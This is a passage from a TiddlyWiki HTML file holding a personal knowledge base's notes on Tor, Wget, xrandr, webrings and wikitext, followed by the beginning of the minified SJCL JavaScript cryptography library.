Editor|https://kookma.github.io/TW-Section]] - //create, edit, fold, manage sections// - [[Git|https://github.com/kookma/TW-Section]] | [[Prototype discussion|https://talk.tiddlywiki.org/t/section-editor-prototype/951]]\n* [[Syntax-Highlighting Tiny Editor|https://talk.tiddlywiki.org/t/tw5-ready-to-play-prototype-syntax-highlighting-tiny-editor/4569]] (Ready-to-play prototype) - [[Download|https://talk.tiddlywiki.org/uploads/short-url/853ile3OvoeJ9uowpv0YYXnKhSe.json]]\n* [[TWCrossLinks|https://github.com/akhater/TWCrossLinks]] - //Discover all your intra-tiddlers links//","modified":"20230206113802132","modifier":"Octt","title":"TiddlyWiki/ThirdParty","tags":""},
2023-02-06 22:43:30 +00:00
{"created":"20230205143040968","creator":"Octt","text":"\u003C\u003CMediaWiki Tor_(network) en 1>>\n\n* https://www.torproject.org/\n* https://gitlab.torproject.org/tpo/\n","tags":"Internet Privacy","title":"Tor","modified":"20230206222648217","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130074558332","creator":"Octt","text":"\u003C\u003CMediaWiki Tux_Racer en 3>>","tags":"$:/i18n:en","title":"Tux Racer:en","modified":"20230206111552409","modifier":"Octt"},
{"created":"20230109104324882","text":"\u003C\u003CMediaWiki Twitter en 1>>","tags":"Internet TODO $:/i18n:en","title":"Twitter:en","modified":"20230206111552411","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205151025917","creator":"Octt","text":"","tags":"TODO","title":"TWRP","modified":"20230205151249161","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230206192622617","creator":"Octt","text":"\u003C\u003CMediaWiki Ubuntu en 3>>","title":"Ubuntu","modified":"20230206192749386","modifier":"Octt","tags":"GNU Linux Debian [[Canonical Ltd]]"},
2023-02-06 11:43:53 +00:00
{"created":"20230202232344991","creator":"Octt","text":"\u003C\u003CMediaWiki Unix en 4>>","tags":"$:/i18n:en","title":"UNIX:en","modified":"20230206111552412","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230114161806791","creator":"Octt","text":"\u003C!--\n\\define URLRnd() https://source.unsplash.com/random?\u003C$macrocall $name=\"now\"/>\u003C\u003Cnow \"hh.mm.ss.XXX\">>\n--->\n\n\u003C\u003CMediaWiki Unsplash en 1>>\n\n!! ''Random Picture from the Gallery''\n\n\u003Ca href=\"https://unsplash.com\" rel=\"noopener noreferrer\" target=\"_blank\">\u003Cimg class=\"Img90\" src=\"https://source.unsplash.com/random\">\u003C/a>\n\n\u003C!--\n\u003Ca href=\"https://source.unsplash.com/random?{{{[\u003Cnow hh.mm.ss.XXX>]}}}\">a\u003C/a>\n--->","tags":"Internet $:/i18n:en","title":"Unsplash:en","modified":"20230206222244135","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142939788","creator":"Octt","text":"","tags":"TODO","title":"USB","modified":"20230205142946545","modifier":"Octt"},
{"created":"20230205142158067","creator":"Octt","text":"!!! ''Clients''\n\n!!!! ''Android''\n\n* ''AVNC'': [[Git|https://github.com/gujjwal00/avnc]] | \u003C\u003CFDroidLink com.gaurav.avnc>> | \u003C\u003CGPlayLink com.gaurav.avnc>>","tags":"TODO Protocol","title":"VNC","modified":"20230205144518639","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230113225512278","text":"//wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.//\n\n* https://wallabag.org\n* https://github.com/wallabag","tags":"$:/i18n:en","title":"wallabag:en","modified":"20230206111552419","modifier":"Octt"},
{"created":"20220923144125627","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive:en]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.","title":"Wayback Machine:en","modified":"20230206111552421","tags":"Archiving Internet $:/i18n:en","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230203214532694","creator":"Octt","text":"\u003C\u003CMediaWiki World_Wide_Web en 5>>\n\n!!! ''Tools''\n\n* ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - [[[Git|https://github.com/webrecorder/replayweb.page]]]\n\n!!! ''Analytics''\n\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' - //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// - [[[Git|https://github.com/arp242/goatcounter]]]\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!!! ''Development''\n\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n\n!!!!! ''Frameworks''\n\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n\n!!!!! ''Libraries''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] - //An HTML5 saveAs() FileSaver implementation//\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //A shim for the iFrame \"srcdoc\" attribute//\n","tags":"Internet","title":"Web","modified":"20230206194153784","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230114234058763","text":"List of ''Web Apps'' to keep in mind.\n\n\u003C\u003CDirList \"Apps\">>\n\n\u003C!--\n\u003Cul>\n\u003C$list filter=\"[tag[Apps]tag[Web]]\">\n\u003Cli>\n \u003C$link link=\u003C\u003CcurrentTiddler>>/>\n\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->\n\n* [[SVG-Edit|https://svgedit.netlify.app/editor]]","tags":"TODO $:/i18n:en","title":"Web Apps","modified":"20230206111552424","modifier":"Octt"},
{"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet $:/i18n:en","title":"Web design ideas","modified":"20230206111552426","modifier":"Octt"},
{"created":"20221103220025295","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet TODO $:/i18n:en","title":"Webrings","modified":"20230206111552433","modifier":"Octt"},
{"created":"20230130073530575","creator":"Octt","text":"\u003C\u003CMediaWiki Wget en 1>>","tags":"$:/i18n:en","title":"Wget:en","modified":"20230206111552437","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20221009212222560","creator":"Octt","text":"!! Flags\n\n* Download required page assets: `-p`\n* Convert internal links to relative: `-k`\n* Download entire website (all links from domain + external resources): `--mirror`","tags":"Snippets $:/i18n:en","title":"Wget/Snippets","modified":"20230206203516264","modifier":"Octt"},
{"created":"20230205144223446","creator":"Octt","text":"","tags":"TODO Nintendo","title":"Wii U","modified":"20230206211841142","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230203223711243","creator":"Octt","text":"\u003C\u003CMediaWiki Wiki en 3>>","tags":"$:/i18n:en","title":"Wiki:en","modified":"20230206111552440","modifier":"Octt"},
{"created":"20221202225934313","text":"\u003C\u003CMediaWiki Wikipedia en 1>>\n\nIt is truly one of the best places to gain general culture from. For anything that is not found on the [[OcttKB]], you should visit Wikipedia!","tags":"Internet $:/i18n:en","title":"Wikipedia:en","modified":"20230206111552442","modifier":"Octt"},
{"created":"20230113230346823","text":"* https://wikispacc.miraheze.org","tags":"TODO $:/i18n:en","title":"WikiSpacc:en","modified":"20230206111552444","modifier":"Octt"},
{"created":"20230112115019993","text":"\u003C\u003CMediaWiki \"Help:Wikitext\" en 1>>\n\n!!! ''MediaWiki's vs TiddlyWiki's Wikitext''\n\n''Documentation'': [[Wikipedia's|https://en.m.wikipedia.org/wiki/Help:Wikitext]] | [[TiddlyWiki's|https://tiddlywiki.com/#WikiText]]\n\n!!!! ''Equalities''\n\n* ''Unordered and Ordered Lists''\n* ''Break lines'': A single newline doesn't break the text, an empty line starts a new paragraph.\n\n!!!! ''Differences''\n\n||''MediaWiki''|''TiddlyWiki''|\n|''Headings''|Name enclosed in a pair of //equals//:\u003Cbr>`=== Heading 3 ===`|Name preceded by //bangs//:\u003Cbr>`!!! Heading 3`|\n|''Bold'':\u003Cbr>Text enclosed in a pair of:|3 //apostrophes//:\u003Cbr>`'''Text'''`|2 //apostrophes//:\u003Cbr>`''Text''`|\n|''Italics'':\u003Cbr>Text enclosed in a pair of:|2 //apostrophes//:\u003Cbr>`''Text''`|2 //slashes//:\u003Cbr>`//Text//`|\n|''Indentation''|`Indentation as used on talk pages:`\u003Cbr>`:Each colon at the start of a line`\u003Cbr>`::causes the line to be indented by three more character positions.`|N/A|\n|''Horizontal Rule''|4 or more //dashes//:\u003Cbr>`----`|3 or more //dashes//:\u003Cbr>`---`|\n|''Hard Linebreaks''|N/A|Text enclosed in 3 //quotes//:\u003Cbr>`\"\"\"`\u003Cbr>`Text`\u003Cbr>`Still Text`\u003Cbr>`\"\"\"`|\n|''Links''|Target first, Name last|Name first, Target last|","tags":"TiddlyWiki MediaWiki $:/i18n:en","title":"Wikitext:en","modified":"20230206111552455","modifier":"Octt"},
{"created":"20230202232517791","creator":"Octt","text":"\u003C\u003CMediaWiki Wine_(software) en 3>>","tags":"$:/i18n:en","title":"Wine:en","modified":"20230206111552464","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230206192842398","creator":"Octt","text":"\u003C\u003CMediaWiki WordPress en 4>>","tags":"Web PHP CMS","title":"WordPress","modified":"20230206192952907","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220920144224759","text":"!! Multi-Screen Fixes\n\n!!! LG Flatron W1943SS (R) + TV Toshiba (L)\n\n```sh\nxrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080\nxrandr --output DVI-D-0 --mode 1920x1080 -r 60.00\nxrandr --output DVI-D-0 --left-of HDMI-A-0\n```","tags":"Snippets $:/i18n:en","title":"X11/Snippets","modified":"20230206111552465","modifier":"Octt"},
{"created":"20230202230631376","creator":"Octt","text":"\u003C\u003CMediaWiki XDA_Developers en 3>>","tags":"$:/i18n:en","title":"XDA Developers:en","modified":"20230206111552467","modifier":"Octt"},
{"created":"20230130074218718","creator":"Octt","text":"\u003C\u003CMediaWiki Xfce en 3>>","tags":"$:/i18n:en","title":"XFCE:en","modified":"20230206111552470","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Xiaomi Redmi 9T","modified":"20230206224001999","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230202225649145","creator":"Octt","text":"\u003C\u003CWikipediaFrame XML en>>","tags":"$:/i18n:en","title":"XML:en","modified":"20230206111552472","modifier":"Octt"},
{"created":"20230109104559438","text":"\u003C\u003CMediaWiki YouTube en 1>>","tags":"Internet TODO $:/i18n:en","title":"YouTube:en","modified":"20230206111552474","modifier":"Octt"},
{"created":"20230203223632196","creator":"Octt","text":"\u003C\u003CMediaWiki Zettelkasten en 2>>\n\n* Good website about ZK: [[zettelkasten.de|https://zettelkasten.de/]] (CC BY-SA)","tags":"$:/i18n:en","title":"Zettelkasten:en","modified":"20230206111552476","modifier":"Octt"}
]</script><div id="storeArea" style="display:none;"></div>
<!--~~ Library modules ~~-->
<div id="libraryModules" style="display:none;">
<script data-tiddler-library="yes" data-tiddler-title="$:/library/sjcl.js" data-tiddler-type="application/javascript" type="text/javascript">"use strict";var sjcl={cipher:{},hash:{},keyexchange:{},mode:{},misc:{},codec:{},exception:{corrupt:function(a){this.toString=function(){return"CORRUPT: "+this.message};this.message=a},invalid:function(a){this.toString=function(){return"INVALID: "+this.message};this.message=a},bug:function(a){this.toString=function(){return"BUG: "+this.message};this.message=a},notReady:function(a){this.toString=function(){return"NOT READY: "+this.message};this.message=a}}};
sjcl.cipher.aes=function(a){this.s[0][0][0]||this.O();var b,c,d,e,f=this.s[0][4],g=this.s[1];b=a.length;var h=1;if(4!==b&&6!==b&&8!==b)throw new sjcl.exception.invalid("invalid aes key size");this.b=[d=a.slice(0),e=[]];for(a=b;a<4*b+28;a++){c=d[a-1];if(0===a%b||8===b&&4===a%b)c=f[c>>>24]<<24^f[c>>16&255]<<16^f[c>>8&255]<<8^f[c&255],0===a%b&&(c=c<<8^c>>>24^h<<24,h=h<<1^283*(h>>7));d[a]=d[a-b]^c}for(b=0;a;b++,a--)c=d[b&3?a:a-4],e[b]=4>=a||4>b?c:g[0][f[c>>>24]]^g[1][f[c>>16&255]]^g[2][f[c>>8&255]]^g[3][f[c&
255]]};
sjcl.cipher.aes.prototype={encrypt:function(a){return t(this,a,0)},decrypt:function(a){return t(this,a,1)},s:[[[],[],[],[],[]],[[],[],[],[],[]]],O:function(){var a=this.s[0],b=this.s[1],c=a[4],d=b[4],e,f,g,h=[],k=[],l,n,m,p;for(e=0;0x100>e;e++)k[(h[e]=e<<1^283*(e>>7))^e]=e;for(f=g=0;!c[f];f^=l||1,g=k[g]||1)for(m=g^g<<1^g<<2^g<<3^g<<4,m=m>>8^m&255^99,c[f]=m,d[m]=f,n=h[e=h[l=h[f]]],p=0x1010101*n^0x10001*e^0x101*l^0x1010100*f,n=0x101*h[m]^0x1010100*m,e=0;4>e;e++)a[e][f]=n=n<<24^n>>>8,b[e][m]=p=p<<24^p>>>8;for(e=
0;5>e;e++)a[e]=a[e].slice(0),b[e]=b[e].slice(0)}};
function t(a,b,c){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var d=a.b[c],e=b[0]^d[0],f=b[c?3:1]^d[1],g=b[2]^d[2];b=b[c?1:3]^d[3];var h,k,l,n=d.length/4-2,m,p=4,r=[0,0,0,0];h=a.s[c];a=h[0];var q=h[1],v=h[2],w=h[3],x=h[4];for(m=0;m<n;m++)h=a[e>>>24]^q[f>>16&255]^v[g>>8&255]^w[b&255]^d[p],k=a[f>>>24]^q[g>>16&255]^v[b>>8&255]^w[e&255]^d[p+1],l=a[g>>>24]^q[b>>16&255]^v[e>>8&255]^w[f&255]^d[p+2],b=a[b>>>24]^q[e>>16&255]^v[f>>8&255]^w[g&255]^d[p+3],p+=4,e=h,f=k,g=l;for(m=
0;4>m;m++)r[c?3&-m:m]=x[e>>>24]<<24^x[f>>16&255]<<16^x[g>>8&255]<<8^x[b&255]^d[p++],h=e,e=f,f=g,g=b,b=h;return r}
sjcl.bitArray={bitSlice:function(a,b,c){a=sjcl.bitArray.$(a.slice(b/32),32-(b&31)).slice(1);return void 0===c?a:sjcl.bitArray.clamp(a,c-b)},extract:function(a,b,c){var d=Math.floor(-b-c&31);return((b+c-1^b)&-32?a[b/32|0]<<32-d^a[b/32+1|0]>>>d:a[b/32|0]>>>d)&(1<<c)-1},concat:function(a,b){if(0===a.length||0===b.length)return a.concat(b);var c=a[a.length-1],d=sjcl.bitArray.getPartial(c);return 32===d?a.concat(b):sjcl.bitArray.$(b,d,c|0,a.slice(0,a.length-1))},bitLength:function(a){var b=a.length;return 0===
b?0:32*(b-1)+sjcl.bitArray.getPartial(a[b-1])},clamp:function(a,b){if(32*a.length<b)return a;a=a.slice(0,Math.ceil(b/32));var c=a.length;b=b&31;0<c&&b&&(a[c-1]=sjcl.bitArray.partial(b,a[c-1]&2147483648>>b-1,1));return a},partial:function(a,b,c){return 32===a?b:(c?b|0:b<<32-a)+0x10000000000*a},getPartial:function(a){return Math.round(a/0x10000000000)||32},equal:function(a,b){if(sjcl.bitArray.bitLength(a)!==sjcl.bitArray.bitLength(b))return!1;var c=0,d;for(d=0;d<a.length;d++)c|=a[d]^b[d];return 0===
c},$:function(a,b,c,d){var e;e=0;for(void 0===d&&(d=[]);32<=b;b-=32)d.push(c),c=0;if(0===b)return d.concat(a);for(e=0;e<a.length;e++)d.push(c|a[e]>>>b),c=a[e]<<32-b;e=a.length?a[a.length-1]:0;a=sjcl.bitArray.getPartial(e);d.push(sjcl.bitArray.partial(b+a&31,32<b+a?c:d.pop(),1));return d},i:function(a,b){return[a[0]^b[0],a[1]^b[1],a[2]^b[2],a[3]^b[3]]},byteswapM:function(a){var b,c;for(b=0;b<a.length;++b)c=a[b],a[b]=c>>>24|c>>>8&0xff00|(c&0xff00)<<8|c<<24;return a}};
sjcl.codec.utf8String={fromBits:function(a){var b="",c=sjcl.bitArray.bitLength(a),d,e;for(d=0;d<c/8;d++)0===(d&3)&&(e=a[d/4]),b+=String.fromCharCode(e>>>8>>>8>>>8),e<<=8;return decodeURIComponent(escape(b))},toBits:function(a){a=unescape(encodeURIComponent(a));var b=[],c,d=0;for(c=0;c<a.length;c++)d=d<<8|a.charCodeAt(c),3===(c&3)&&(b.push(d),d=0);c&3&&b.push(sjcl.bitArray.partial(8*(c&3),d));return b}};
sjcl.codec.hex={fromBits:function(a){var b="",c;for(c=0;c<a.length;c++)b+=((a[c]|0)+0xf00000000000).toString(16).substr(4);return b.substr(0,sjcl.bitArray.bitLength(a)/4)},toBits:function(a){var b,c=[],d;a=a.replace(/\s|0x/g,"");d=a.length;a=a+"00000000";for(b=0;b<a.length;b+=8)c.push(parseInt(a.substr(b,8),16)^0);return sjcl.bitArray.clamp(c,4*d)}};
sjcl.codec.base32={B:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567",X:"0123456789ABCDEFGHIJKLMNOPQRSTUV",BITS:32,BASE:5,REMAINING:27,fromBits:function(a,b,c){var d=sjcl.codec.base32.BASE,e=sjcl.codec.base32.REMAINING,f="",g=0,h=sjcl.codec.base32.B,k=0,l=sjcl.bitArray.bitLength(a);c&&(h=sjcl.codec.base32.X);for(c=0;f.length*d<l;)f+=h.charAt((k^a[c]>>>g)>>>e),g<d?(k=a[c]<<d-g,g+=e,c++):(k<<=d,g-=d);for(;f.length&7&&!b;)f+="=";return f},toBits:function(a,b){a=a.replace(/\s|=/g,"").toUpperCase();var c=sjcl.codec.base32.BITS,
d=sjcl.codec.base32.BASE,e=sjcl.codec.base32.REMAINING,f=[],g,h=0,k=sjcl.codec.base32.B,l=0,n,m="base32";b&&(k=sjcl.codec.base32.X,m="base32hex");for(g=0;g<a.length;g++){n=k.indexOf(a.charAt(g));if(0>n){if(!b)try{return sjcl.codec.base32hex.toBits(a)}catch(p){}throw new sjcl.exception.invalid("this isn't "+m+"!");}h>e?(h-=e,f.push(l^n>>>h),l=n<<c-h):(h+=d,l^=n<<c-h)}h&56&&f.push(sjcl.bitArray.partial(h&56,l,1));return f}};
sjcl.codec.base32hex={fromBits:function(a,b){return sjcl.codec.base32.fromBits(a,b,1)},toBits:function(a){return sjcl.codec.base32.toBits(a,1)}};
sjcl.codec.base64={B:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",fromBits:function(a,b,c){var d="",e=0,f=sjcl.codec.base64.B,g=0,h=sjcl.bitArray.bitLength(a);c&&(f=f.substr(0,62)+"-_");for(c=0;6*d.length<h;)d+=f.charAt((g^a[c]>>>e)>>>26),6>e?(g=a[c]<<6-e,e+=26,c++):(g<<=6,e-=6);for(;d.length&3&&!b;)d+="=";return d},toBits:function(a,b){a=a.replace(/\s|=/g,"");var c=[],d,e=0,f=sjcl.codec.base64.B,g=0,h;b&&(f=f.substr(0,62)+"-_");for(d=0;d<a.length;d++){h=f.indexOf(a.charAt(d));
if(0>h)throw new sjcl.exception.invalid("this isn't base64!");26<e?(e-=26,c.push(g^h>>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&c.push(sjcl.bitArray.partial(e&56,g,1));return c}};sjcl.codec.base64url={fromBits:function(a){return sjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){return sjcl.codec.base64.toBits(a,1)}};sjcl.hash.sha256=function(a){this.b[0]||this.O();a?(this.F=a.F.slice(0),this.A=a.A.slice(0),this.l=a.l):this.reset()};sjcl.hash.sha256.hash=function(a){return(new sjcl.hash.sha256).update(a).finalize()};
sjcl.hash.sha256.prototype={blockSize:512,reset:function(){this.F=this.Y.slice(0);this.A=[];this.l=0;return this},update:function(a){"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));var b,c=this.A=sjcl.bitArray.concat(this.A,a);b=this.l;a=this.l=b+sjcl.bitArray.bitLength(a);if(0x1fffffffffffff<a)throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");if("undefined"!==typeof Uint32Array){var d=new Uint32Array(c),e=0;for(b=512+b-(512+b&0x1ff);b<=a;b+=512)u(this,d.subarray(16*e,
16*(e+1))),e+=1;c.splice(0,16*e)}else for(b=512+b-(512+b&0x1ff);b<=a;b+=512)u(this,c.splice(0,16));return this},finalize:function(){var a,b=this.A,c=this.F,b=sjcl.bitArray.concat(b,[sjcl.bitArray.partial(1,1)]);for(a=b.length+2;a&15;a++)b.push(0);b.push(Math.floor(this.l/0x100000000));for(b.push(this.l|0);b.length;)u(this,b.splice(0,16));this.reset();return c},Y:[],b:[],O:function(){function a(a){return 0x100000000*(a-Math.floor(a))|0}for(var b=0,c=2,d,e;64>b;c++){e=!0;for(d=2;d*d<=c;d++)if(0===c%d){e=
!1;break}e&&(8>b&&(this.Y[b]=a(Math.pow(c,.5))),this.b[b]=a(Math.pow(c,1/3)),b++)}}};
function u(a,b){var c,d,e,f=a.F,g=a.b,h=f[0],k=f[1],l=f[2],n=f[3],m=f[4],p=f[5],r=f[6],q=f[7];for(c=0;64>c;c++)16>c?d=b[c]:(d=b[c+1&15],e=b[c+14&15],d=b[c&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+b[c&15]+b[c+9&15]|0),d=d+q+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(r^m&(p^r))+g[c],q=r,r=p,p=m,m=n+d|0,n=l,l=k,k=h,h=d+(k&l^n&(k^l))+(k>>>2^k>>>13^k>>>22^k<<30^k<<19^k<<10)|0;f[0]=f[0]+h|0;f[1]=f[1]+k|0;f[2]=f[2]+l|0;f[3]=f[3]+n|0;f[4]=f[4]+m|0;f[5]=f[5]+p|0;f[6]=f[6]+r|0;f[7]=
f[7]+q|0}
sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(a){sjcl.mode.ccm.G.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.G.indexOf(a);-1<a&&sjcl.mode.ccm.G.splice(a,1)},fa:function(a){var b=sjcl.mode.ccm.G.slice(),c;for(c=0;c<b.length;c+=1)b[c](a)},encrypt:function(a,b,c,d,e){var f,g=b.slice(0),h=sjcl.bitArray,k=h.bitLength(c)/8,l=h.bitLength(g)/8;e=e||64;d=d||[];if(7>k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);c=h.clamp(c,
8*(15-f));b=sjcl.mode.ccm.V(a,b,c,d,e,f);g=sjcl.mode.ccm.C(a,g,c,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,c,d,e){e=e||64;d=d||[];var f=sjcl.bitArray,g=f.bitLength(c)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);c=f.clamp(c,8*(15-b));k=sjcl.mode.ccm.C(a,k,c,l,e,b);a=sjcl.mode.ccm.V(a,k.data,c,d,e,b);if(!f.equal(k.tag,a))throw new sjcl.exception.corrupt("ccm: tag doesn't match");
return k.data},na:function(a,b,c,d,e,f){var g=[],h=sjcl.bitArray,k=h.i;d=[h.partial(8,(b.length?64:0)|d-2<<2|f-1)];d=h.concat(d,c);d[3]|=e;d=a.encrypt(d);if(b.length)for(c=h.bitLength(b)/8,65279>=c?g=[h.partial(16,c)]:0xffffffff>=c&&(g=h.concat([h.partial(16,65534)],[c])),g=h.concat(g,b),b=0;b<g.length;b+=4)d=a.encrypt(k(d,g.slice(b,b+4).concat([0,0,0])));return d},V:function(a,b,c,d,e,f){var g=sjcl.bitArray,h=g.i;e/=8;if(e%2||4>e||16<e)throw new sjcl.exception.invalid("ccm: invalid tag length");
if(0xffffffff<d.length||0xffffffff<b.length)throw new sjcl.exception.bug("ccm: can't deal with 4GiB or more data");c=sjcl.mode.ccm.na(a,d,c,e,g.bitLength(b)/8,f);for(d=0;d<b.length;d+=4)c=a.encrypt(h(c,b.slice(d,d+4).concat([0,0,0])));return g.clamp(c,8*e)},C:function(a,b,c,d,e,f){var g,h=sjcl.bitArray;g=h.i;var k=b.length,l=h.bitLength(b),n=k/50,m=n;c=h.concat([h.partial(8,f-1)],c).concat([0,0,0]).slice(0,4);d=h.bitSlice(g(d,a.encrypt(c)),0,e);if(!k)return{tag:d,data:[]};for(g=0;g<k;g+=4)g>n&&(sjcl.mode.ccm.fa(g/
k),n+=m),c[3]++,e=a.encrypt(c),b[g]^=e[0],b[g+1]^=e[1],b[g+2]^=e[2],b[g+3]^=e[3];return{tag:d,data:h.clamp(b,l)}}};
sjcl.mode.ocb2={name:"ocb2",encrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var g,h=sjcl.mode.ocb2.S,k=sjcl.bitArray,l=k.i,n=[0,0,0,0];c=h(a.encrypt(c));var m,p=[];d=d||[];e=e||64;for(g=0;g+4<b.length;g+=4)m=b.slice(g,g+4),n=l(n,m),p=p.concat(l(c,a.encrypt(l(c,m)))),c=h(c);m=b.slice(g);b=k.bitLength(m);g=a.encrypt(l(c,[0,0,0,b]));m=k.clamp(l(m.concat([0,0,0]),g),b);n=l(n,l(m.concat([0,0,0]),g));n=a.encrypt(l(n,l(c,h(c))));
d.length&&(n=l(n,f?d:sjcl.mode.ocb2.pmac(a,d)));return p.concat(k.concat(m,k.clamp(n,e)))},decrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");e=e||64;var g=sjcl.mode.ocb2.S,h=sjcl.bitArray,k=h.i,l=[0,0,0,0],n=g(a.encrypt(c)),m,p,r=sjcl.bitArray.bitLength(b)-e,q=[];d=d||[];for(c=0;c+4<r/32;c+=4)m=k(n,a.decrypt(k(n,b.slice(c,c+4)))),l=k(l,m),q=q.concat(m),n=g(n);p=r-32*c;m=a.encrypt(k(n,[0,0,0,p]));m=k(m,h.clamp(b.slice(c),p).concat([0,
0,0]));l=k(l,m);l=a.encrypt(k(l,k(n,g(n))));d.length&&(l=k(l,f?d:sjcl.mode.ocb2.pmac(a,d)));if(!h.equal(h.clamp(l,e),h.bitSlice(b,r)))throw new sjcl.exception.corrupt("ocb: tag doesn't match");return q.concat(h.clamp(m,p))},pmac:function(a,b){var c,d=sjcl.mode.ocb2.S,e=sjcl.bitArray,f=e.i,g=[0,0,0,0],h=a.encrypt([0,0,0,0]),h=f(h,d(d(h)));for(c=0;c+4<b.length;c+=4)h=d(h),g=f(g,a.encrypt(f(h,b.slice(c,c+4))));c=b.slice(c);128>e.bitLength(c)&&(h=f(h,d(h)),c=e.concat(c,[-2147483648,0,0,0]));g=f(g,c);
return a.encrypt(f(d(f(h,d(h))),g))},S:function(a){return[a[0]<<1^a[1]>>>31,a[1]<<1^a[2]>>>31,a[2]<<1^a[3]>>>31,a[3]<<1^135*(a[0]>>>31)]}};
sjcl.mode.gcm={name:"gcm",encrypt:function(a,b,c,d,e){var f=b.slice(0);b=sjcl.bitArray;d=d||[];a=sjcl.mode.gcm.C(!0,a,f,d,c,e||128);return b.concat(a.data,a.tag)},decrypt:function(a,b,c,d,e){var f=b.slice(0),g=sjcl.bitArray,h=g.bitLength(f);e=e||128;d=d||[];e<=h?(b=g.bitSlice(f,h-e),f=g.bitSlice(f,0,h-e)):(b=f,f=[]);a=sjcl.mode.gcm.C(!1,a,f,d,c,e);if(!g.equal(a.tag,b))throw new sjcl.exception.corrupt("gcm: tag doesn't match");return a.data},ka:function(a,b){var c,d,e,f,g,h=sjcl.bitArray.i;e=[0,0,
